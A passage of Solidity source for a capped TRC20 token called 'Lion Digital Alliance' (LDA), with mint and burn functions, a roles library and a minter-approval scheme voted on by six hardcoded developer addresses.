require(account != address(0), "TRC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "TRC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "TRC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "TRC20: approve from the zero address");
require(spender != address(0), "TRC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "TRC20: burn amount exceeds allowance"));
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract Ownable {
address public owner;
constructor() public {
owner = address(0x41e7528298834f74f5ddad36d459c76f2cd459b84d); // BaKcu address
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract MinterRole is Context, Ownable {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
event onApproveMinter(address approver, address minter);
Roles.Role private _minters;
uint8 public votes = 0;
mapping(address => bool) public voted;
address public requestedMinter;
address public dev7 = address(0x41e7528298834f74f5ddad36d459c76f2cd459b84d); // BaKcu address
address public dev1 = address(0x41cc148d7c935ff576677d23f5171c3e7472551d7d); // pc8s
address public dev2 = address(0x41c9d58a224265845d5a913802ced276175942788f); // snEd
address public dev3 = address(0x41321174bd17639ded66bf6aac388a2b54bb6d1e6b); // 7zbi
address public dev4 = address(0x41b60249195a4b4581ebeddcb0f1cadaa3efbeea5c); // pjCL
address public dev5 = address(0x41b94a518e9c8956b66c44998499275549c3ce6e32); // 6e32
constructor () internal {
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function clearVotes() private {
votes = 0;
voted[dev7] = false;
voted[dev1] = false;
voted[dev2] = false;
voted[dev3] = false;
voted[dev4] = false;
voted[dev5] = false;
}
function submitRequest(address _minter) public onlyOwner {
clearVotes();
requestedMinter = _minter;
}
function approveRequest() public {
if (msg.sender == dev7 ||
msg.sender == dev1 ||
msg.sender == dev2 ||
msg.sender == dev3 ||
msg.sender == dev4 ||
msg.sender == dev5)
{
if (voted[msg.sender] == false) {
voted[msg.sender] = true;
votes++;
emit onApproveMinter(msg.sender, requestedMinter);
}
}
}
function addMinter() public onlyOwner {
if (votes >= 3) {
clearVotes();
_addMinter(requestedMinter);
}
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract TRC20Mintable is TRC20, MinterRole {
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
contract TRC20Capped is TRC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0, "TRC20Capped: cap is 0");
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap, "TRC20Capped: cap exceeded");
super._mint(account, value);
}
}
contract LionX is TRC20Detailed, TRC20Capped {
uint64 constant public miningRate = 5e12;
constructor () TRC20Detailed("Lion Digital Alliance", "LDA", 6) TRC20Capped(1e14) public {}
function getMiningDifficulty() public view returns (uint256) {
return (totalSupply().div(miningRate).add(1));
}
}
| 306,248 | 11,399 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.